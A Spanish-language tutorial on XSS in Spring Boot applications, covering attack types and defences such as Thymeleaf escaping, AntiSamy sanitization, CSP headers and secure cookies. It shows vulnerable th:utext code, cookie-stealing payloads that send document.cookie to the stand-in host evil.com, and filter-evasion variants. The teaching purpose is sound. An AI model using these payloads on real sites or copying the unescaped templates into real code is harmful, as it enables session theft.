XSS: Ataques y prevención en aplicaciones Spring Boot
1. Descripción general
XSS (Cross-Site Scripting) es una de las vulnerabilidades web más comunes, presente en el OWASP Top 10 durante muchos años. Este artículo te ayuda a entender los tres tipos de XSS más comunes, ver ejemplos de ataques reales y aplicar técnicas de prevención como output encoding, Content Security Policy (CSP) y configuración de headers HTTP en Spring Boot. Después de leerlo, sabrás cómo revisar tu propia aplicación y parchear vulnerabilidades XSS.
2. ¿Qué es XSS?
XSS ocurre cuando una aplicación web permite que un atacante inyecte código JavaScript malicioso en la página, y el navegador de la víctima ejecuta ese código como si fuera una parte legítima del sitio web. Las consecuencias: robo de cookies/sesiones, suplantación de acciones del usuario, redirección a páginas de phishing.
Hay 3 tipos principales de XSS:
- Reflected XSS: el payload está en la solicitud (query string, formulario), el servidor lo devuelve inmediatamente sin filtrar.
- Stored XSS: el payload se guarda en la base de datos (por ejemplo comentario, biografía), luego se muestra a todas las personas — más peligroso porque afecta a muchas personas.
- DOM-based XSS: el payload no pasa por el servidor, sino que JavaScript en el cliente lee datos inseguros (URL, localStorage) y los escribe directamente en el DOM.
3. Ejemplo de ataque Reflected XSS
Supón que tienes un endpoint de búsqueda simple que muestra de nuevo la palabra clave que el usuario escribió:
@Controller
public class SearchController {
@GetMapping("/search")
public String search(@RequestParam String keyword, Model model) {
model.addAttribute("keyword", keyword);
return "search-result";
}
}
La plantilla Thymeleaf usa th:utext (texto sin escape) para mostrar:
<p>Resultados de búsqueda para: <span th:utext="${keyword}"></span></p>
El atacante envía este enlace a la víctima:
https://shop.example.com/search?keyword=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
Cuando la víctima hace clic, el navegador ejecuta el script y envía la cookie de la víctima a evil.com. La causa raíz: th:utext renderiza HTML crudo sin codificar caracteres especiales.
Nota: Solo usa
th:utextcuando estés 100% seguro de que el contenido es HTML de confianza (por ejemplo, redactado por un admin a través de un editor de texto enriquecido con sanitización). Por defecto, siempre usath:text.
4. Ejemplo de ataque Stored XSS
Stored XSS es más peligroso porque el payload persiste en el sistema durante mucho tiempo. Ejemplo de la característica de comentarios:
@Entity
public class Comment {
@Id @GeneratedValue
private Long id;
private String content;
private String authorName;
// getters, setters
}
@PostMapping("/comments")
public String addComment(@RequestParam String content, @RequestParam String authorName) {
Comment comment = new Comment();
comment.setContent(content);
comment.setAuthorName(authorName);
commentRepository.save(comment);
return "redirect:/comments";
}
El atacante envía un comentario con contenido:
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
Si la página que muestra comentarios renderiza HTML directamente (sin codificar), todos los que vean la página de comentarios tendrán sus cookies robadas — sin necesidad de hacer clic en ningún enlace.
5. Prevención mediante Output Encoding
La regla de oro: codifica los datos en el contexto correcto cuando están en salida, no cuando están en entrada. Para HTML context, Thymeleaf escapa por defecto cuando usas th:text:
<!-- Seguro: escape automático -->
<p th:text="${comment.content}"></p>
Comparación de resultados:
Input: <script>alert('XSS')</script>
Output (th:text): <script>alert('XSS')</script>
Output (th:utext): <script>alert('XSS')</script> <!-- PELIGROSO -->
Con th:text, el navegador muestra la cadena literal de caracteres, no ejecuta el script. Esta es la primera y más importante capa de defensa.
5.1. Codifica según el contexto correcto
No todos los lugares donde hay salida usan HTML encoding. Por ejemplo, cuando insertas valores en atributos JavaScript o URLs, necesitas una codificación diferente:
<!-- Context: HTML attribute -->
<a th:href="@{/profile(id=${user.id})}">Ver perfil</a>
<!-- Context: JavaScript string - NO hagas esto -->
<script>
var username = '[[${user.name}]]'; // peligroso si name contiene '); alert(1); //
</script>
Si tienes que pasar datos del servidor al script, codifícalos como JSON y colócalos en un atributo data-*:
<div id="user-data" th:data-name="${user.name}"></div>
<script>
const name = document.getElementById('user-data').dataset.name;
</script>
Este enfoque evita concatenar strings directamente en literales JavaScript — la causa de muchas vulnerabilidades DOM-based XSS.
6. Sanitiza HTML cuando necesites permitir texto enriquecido
Hay casos legítimos en los que necesitas almacenar HTML (por ejemplo, artículos de blog con negrita, cursiva, enlaces). En ese caso, no puedes codificar todo, sino que necesitas hacer una lista blanca de etiquetas/atributos seguros usando una librería de sanitización.
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>1.7.4</version>
</dependency>
@Service
public class HtmlSanitizerService {
private final Policy policy;
public HtmlSanitizerService() throws PolicyException {
this.policy = Policy.getInstance(getClass().getResourceAsStream("/antisamy-policy.xml"));
}
public String sanitize(String rawHtml) throws ScanException, PolicyException {
AntiSamy antiSamy = new AntiSamy();
CleanResults results = antiSamy.scan(rawHtml, policy);
return results.getCleanHTML();
}
}
El archivo antisamy-policy.xml define la lista blanca de etiquetas (<b>, <i>, <a> con href solo permitiendo http/https…). Cualquier etiqueta/atributo no en la lista blanca (como <script>, onerror) se elimina completamente antes de guardarlo en la BD.
Prueba rápida del comportamiento de sanitización:
@Test
void sanitize_shouldRemoveScriptTag_butKeepSafeFormatting() throws Exception {
HtmlSanitizerService sanitizer = new HtmlSanitizerService();
String dirty = "<p>Hello <b>world</b></p><script>alert(1)</script>";
String clean = sanitizer.sanitize(dirty);
assertThat(clean)
.contains("<p>Hello <b>world</b></p>")
.doesNotContain("<script>");
}
Nota: La sanitización debe realizarse tanto en entrada (antes de guardar en BD, evita que el payload se filtre a través de otras APIs) como en salida (antes de renderizar) para una defensa en profundidad (defense in depth).
7. Content Security Policy (CSP)
CSP es una segunda capa de defensa que restringe el navegador para ejecutar scripts solo de fuentes confiables, incluso si el payload XSS logra pasar el encoding/sanitización.
@Configuration
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self' 'unsafe-inline'; " +
"object-src 'none'; " +
"base-uri 'self';"
)
)
);
return http.build();
}
}
Explicación de las directivas:
default-src 'self': por defecto, solo carga recursos del mismo origen.script-src 'self': solo ejecuta scripts de tu dominio — bloquea completamente scripts inline (<script>alert(1)</script>es rechazado por el navegador, no importa si es válido o no).object-src 'none': bloquea Flash/plugins, vectores de ataque antiguos pero que aún existen.
Header de respuesta correspondiente:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self';
Cuando el atacante logra inyectar <img src=x onerror="..."> que escapa de la sanitización, CSP con script-src 'self' bloqueará la ejecución del manejador de eventos inline (onerror), ya que se considera un script inline.
7.1. Verifica CSP sin romper la UI
Antes de activar CSP estricta en producción, usa el modo report-only para monitorear violaciones sin bloquear:
headers.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'; script-src 'self'")
.reportOnly()
);
El navegador solo registra advertencias en la consola (y envía reportes si hay report-uri), no bloquea recursos. Basado en estos logs, ajustas la política antes de pasar a la aplicación real.
8. Cookies seguras con HttpOnly y SameSite
Aunque hayas bloqueado XSS, debes tener una capa adicional de defensa: evitar que los scripts lean las cookies de sesión, reduciendo el daño si XSS ocurre de todas formas.
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=strict
http-only=true: JavaScript (document.cookie) no puede leer esta cookie — el payload de robo de cookies del ejemplo en la sección 3 fallará.secure=true: la cookie solo se envía por HTTPS.same-site=strict: la cookie no se envía con solicitudes desde otros dominios, reduciendo el riesgo de CSRF combinado con XSS.
9. Pruebas automatizadas para detectar XSS básico
Puedes escribir pruebas de integración para verificar que los endpoints escapan la salida correctamente, evitando regresiones cuando el código cambia.
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class SearchControllerXssTest {
@Autowired
private TestRestTemplate restTemplate;
@Test
void search_shouldEscapeScriptTag_inResponseBody() {
String payload = "<script>alert(1)</script>";
ResponseEntity<String> response = restTemplate.getForEntity(
"/search?keyword=" + payload, String.class);
assertThat(response.getBody())
.doesNotContain("<script>alert(1)</script>")
.contains("<script>");
}
}
Esta prueba envía un payload XSS clásico y verifica que el cuerpo de la respuesta no contenga la etiqueta de script original — si la contiene, significa que la plantilla está usando th:utext en el lugar equivocado.
10. Lista de verificación de errores comunes
- Usar
th:utext,innerHTML, ov-html(Vue) para datos de usuarios sin sanitizar. - Concatenar directamente datos del usuario en bloques
<script>en lugar de usar atributosdata-*o JSON seguro. - Codificar solo en entrada (guardar en BD) pero olvidar codificar en salida — si cambias el contexto de visualización (por ejemplo, exportar CSV, renderizar PDF) los datos “limpios” de la BD pueden seguir siendo peligrosos en el nuevo contexto.
- Activar CSP demasiado permisivo (
script-src *o conunsafe-inline) haciendo que CSP pierda su efectividad para bloquear XSS. - Olvidar
HttpOnlypara cookies de sesión — un atacante XSS aún puede obtener la cookie incluso si ya codificaste la salida en otro lugar. - Confiar en la validación del lado del cliente (JavaScript) sin validar/codificar de nuevo en el servidor — el lado del cliente es fácil de eludir.
Nota: No escribas tu propio regex para “filtrar” etiquetas HTML (por ejemplo, eliminar
<script>con regex). Los atacantes siempre tienen formas de evadir (<ScRiPt>,<svg/onload=...>, codificación Unicode…). Usa librerías de sanitización verificadas como AntiSamy u OWASP Java HTML Sanitizer.
11. Conclusión
XSS no es una vulnerabilidad difícil de entender, pero es fácil pasarla por alto porque se esconde en cada lugar donde se muestra datos del usuario. La prevención efectiva requiere múltiples capas: codifica en el contexto correcto cuando renderizas (prefiere th:text sobre th:utext), sanitiza con lista blanca cuando necesites permitir HTML enriquecido, activa CSP para bloquear scripts extraños incluso si el payload se cuela, y configura HttpOnly/Secure/SameSite para cookies para reducir el daño si XSS ocurre. Escribe pruebas automatizadas para verificar el escaping en todos los endpoints que reciben entrada del usuario — esta es la forma más económica de evitar que este error reaparezca cuando el código cambia.